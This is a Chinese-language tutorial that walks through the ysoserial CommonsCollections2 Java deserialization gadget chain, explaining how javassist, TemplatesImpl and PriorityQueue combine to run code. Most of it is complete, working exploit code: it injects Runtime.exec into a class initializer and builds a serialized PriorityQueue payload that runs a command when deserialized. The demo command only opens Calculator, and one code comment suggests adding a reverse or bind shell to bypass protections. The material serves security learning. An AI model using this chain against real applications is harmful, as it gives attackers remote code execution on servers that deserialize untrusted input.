1.CommonsCollections2利用链测试
这个利用链需要的commons-collections版本为commons-collections4:4.0。mvn如下:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
1.生成反序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC2Test.bin
2.使用如下代码对序列化数据进行反序列化
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC2Test.bin"));
objectInputStream.readObject();
}
命令正常执行,计算器程序被运行。
2.CommonsCollections2利用链分析
也是个很长的利用链,ysoserial里把很多常用的方法都进行了封装。代码依旧很长,核心类主要包含一下几个部分:
- javassist
- TemplatesImpl
- PriorityQueue
以下对这几部分分别进行解读学习。
2.1 javassist
java的类或者接口经过编译后存储在class文件中,文件中保存的就是所谓的字节码。Javaassist就是一个用来处理字节码的类,使用该类可以在一个已编译好的类中添加或修改已有的方法/属性。并且可以将修改后的class再转换成二进制码用于存储。
我们以如下代码为例,测试一下javassist的使用:
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import javassist.*;
import javax.xml.transform.TransformerConfigurationException;
public class TestJavassist {
public static class test{
public test(){
System.out.println("hhahah");
}
}
public static class myClassLoader extends ClassLoader{
public Class<?> Loader(String name, byte[] b, int off, int len){
return defineClass(null, b, 0, b.length);
}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException {
ClassPool pool = ClassPool.getDefault();//获取到的ClassPool以键值对形式存储着当前环境下的class
final CtClass clazz = pool.get(test.class.getName());//获取test类对应的CtClass
final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode
myClassLoader loader = new myClassLoader();//利用classLoader从字节码加载class
loader.Loader(null,classBytes, 0, classBytes.length).newInstance();//实例化class会自动调用类的初始化方法
}
}
这里利用javassist,将一个自定义的类test转换成了二进制码,并通过java.lang.ClassLoader的defineClass方法从二进制码中加载了test类。对二进制类实例化时,将会调用test类的构造方法。运行结果如下:

可以看到这里正常执行了test类的构造方法。那么如果我们在test构造方法中调用Runtime.getRuntime.exec()显然就可以执行系统命令。那么假如某个类中,如果使用了上面这种方法动态创建实例,并且类的二进制码我们可以控制,那么在他创建实例的时候就会执行任意代码。这里作者用到的类就是TemplatesImpl。
2.2 TemplatesImpl
该类保存于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。该类中当调用newTransformer方法时将会触发上述从字节码实例化一个类的过程。该方法代码如下:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(
getTransletInstance(), //从字节码实例化一个类
_outputProperties,
_indentNumber, _tfactory
);
...省略...
return transformer;
}
newTransformer方法中将会调用getTransletInstance方法来获得一个Translet。getTransletInstance方法代码如下:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;//_name不能为null
if (_class == null) defineTransletClasses();//_class不为null,调用defineTransletClasses
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//实例化一个_class[_transletIndex]
...省略...
return translet;
}
...省略...
}
getTransletInstance()中调用defineTransletClasses()来获取一个类的class,然后紧接着调用newInstance来对获取的类实例化。当然要完成以上流程必须要有如下条件:
- _name != null
- _class == null
真正从字节码中获取类的代码就保存在defineTransletClasses()中,其代码如下:
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {//_bytecodes不能为null否则抛出异常
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});//获取classLoader,这里调用了_tfactory.getExternalExtensionsMap(),因此我们也需要设置一个TransformerFactoryImpl的_tfactory参数,否则将会抛出异常
try {
final int classCount = _bytecodes.length;//获取_bytecodes
_class = new Class[classCount];//获取对应__class
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//从_bytecodes[i]中加载类
final Class superClass = _class[i].getSuperclass();//获取该类的父类
// Check if this is the main class
// private static String ABSTRACT_TRANSLET
//ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {//父类必须是AbstractTranslet
_transletIndex = i;//保存索引
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);//保存类
}
}
if (_transletIndex < 0) {//可以看到如果我们传入的_bytecodes[i]父类不是AbstractTranslet则_transletIndex将不会修改为i,而其初始值是-1,也会抛出异常
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
...省略...
}
可以看到,该函数中将会从_bytecodes[i]中读取字节码,并使用defineClass获取类。如果我们传入一个byte[][]作为_bytecodes,在byte[0]存入恶意的类(并保证该类父类是AbstractTranslet)。则获取到的类会保存在_class[0],并且_transletIndex将会等于0。由于之前getTransletInstance中AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();实例化的就是_class[_transletIndex],因此我们需要保证_transletIndex指向我们的恶意类,而方法就是设置恶意类的父类为AbstractTranslet。
至此我们得到如下结论,真正要想实例化一个恶意类,我们需要对TemplatesImpl实例设置如下:
- _name != null (defineTransletClasses得到的条件)
- _class == null (defineTransletClasses得到的条件)
- _byte[i]中存放恶意类的二进制码_byte[] (defineTransletClasses得到的条件)
- 恶意类的父类必须是AbstractTranslet (defineTransletClasses得到的条件)
- 设置一个TransformerFactoryImpl的_tfactory参数
综上得到一个调用newTransformer就会执行恶意代码的TemplatesImpl代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.PriorityQueue;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.TransformerConfigurationException;
class myClassLoader extends ClassLoader{
public Class<?> Loader(String name, byte[] b, int off, int len){
return defineClass(null, b, 0, b.length);
}
}
public class CC2Test {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
Class tplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Class abstTranslet = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
TemplatesImpl templates = (TemplatesImpl)tplClass.newInstance();//创建一个TemplatesImpl
//生成class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在静态初始化函数里运行exec执行命令
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
//上面用的这个StubTransletPayload类其实已经继承了AbstractTranslet,因此下面这两行代码不要也可以
//CtClass superC = pool.get(abstTranslet.getName());
//clazz.setSuperclass(superC);//设置父类为abstTranslet
final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode
//设置templates的_bytecodes为上面的classBytes
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{classBytes});
//设置templates的_name
Field filedName = templates.getClass().getDeclaredField("_name");
filedName.setAccessible(true);
filedName.set(templates,"Pwnr");
//设置templates的_tfactory参数
Field filedtfactory = templates.getClass().getDeclaredField("_tfactory");
filedtfactory.setAccessible(true);
filedtfactory.set(templates,transFactory.newInstance());
templates.newTransformer();//执行newTransformer测试
}
}
运行将会发现计算器弹出,命令被成功执行。但是我们需要在反序列化时利用该漏洞即需要一个类中的readObject方法可以调用TemplatesImpl类的newTransformer方法。这里作者所用的的类就是java.util.PriorityQueue结合TransformingComparator以及InvokerTransformer。
2.3 PriorityQueue
PriorityQueue从名字看,优先队列,显然是一个可以自动排序的有序队列。这个类支持自定义排序时用的比较方法。并且在反序列化时该类会自动对元素进行排序,其readObject方法代码如下:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
//上面的代码主要是读取每一个元素并进行反序列化
heapify();//进入该函数开始排序
}
函数中调用了heapify()方法进行排序。该方法代码如下:
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
其中调用了siftDown方法,代码如下:
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
即如果设置了comparator则调用siftDownUsingComparator,我们跟进siftDownUsingComparator,代码如下:
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)//调用comparator.compare
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
可以看到,在比较的过程中,该函数调用了comparator.compare。而comparator作者这里使用了TransformingComparator,它的compare方法如下:
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
可以看到非常熟悉的代码,transformer.transform。这跟前面CC1的利用方法完全相同。我们只需要设置这里的transformer.transform为InvokerTransformer,函数执行的方法为newTransformer即可在PriorityQueue的元素中执行newTransformer方法,如果PriorityQueue中的元素为前面我们生成的恶意TemplatesImpl类,那么显然命令将会被执行。
最终我们得到的代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.TransformerConfigurationException;
class myClassLoader extends ClassLoader{
public Class<?> Loader(String name, byte[] b, int off, int len){
return defineClass(null, b, 0, b.length);
}
}
public class CC2Test {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
Class tplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Class abstTranslet = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
TemplatesImpl templates = (TemplatesImpl)tplClass.newInstance();//创建一个TemplatesImpl
//生成class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在静态初始化函数里运行exec执行命令
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
//上面用的这个StubTransletPayload类其实已经继承了AbstractTranslet,因此下面这两行代码不要也可以
//CtClass superC = pool.get(abstTranslet.getName());
//clazz.setSuperclass(superC);//设置父类为abstTranslet
final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode
//设置templates的_bytecodes为上面的classBytes
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{classBytes});
//设置templates的_name
Field filedName = templates.getClass().getDeclaredField("_name");
filedName.setAccessible(true);
filedName.set(templates,"Pwnr");
//设置templates的_tfactory参数
Field filedtfactory = templates.getClass().getDeclaredField("_tfactory");
filedtfactory.setAccessible(true);
filedtfactory.set(templates,transFactory.newInstance());
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
//这里要注意InvokerTransformer的方法先设置成toString并不是闲得慌,因为queue.add的时候也会调用这个方法
// 创建一个queue并设置用于排序的比较类为transformer
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// 随便填充两个数据
queue.add(1);
queue.add(1);
// 修改transformer的iMethodName为newTransformer
Field filediMethodName = transformer.getClass().getDeclaredField("iMethodName");
filediMethodName.setAccessible(true);
filediMethodName.set(transformer,"newTransformer");
//修改queue的第一个元素为templates
Field fieldQueueArray = queue.getClass().getDeclaredField("queue");
fieldQueueArray.setAccessible(true);
Object[] queueArray = (Object[])fieldQueueArray.get(queue);
queueArray[0] = templates;
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream obj = new ObjectOutputStream(baos);
obj.writeObject(queue);
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream obji = new ObjectInputStream(bais);
obji.readObject();
}
}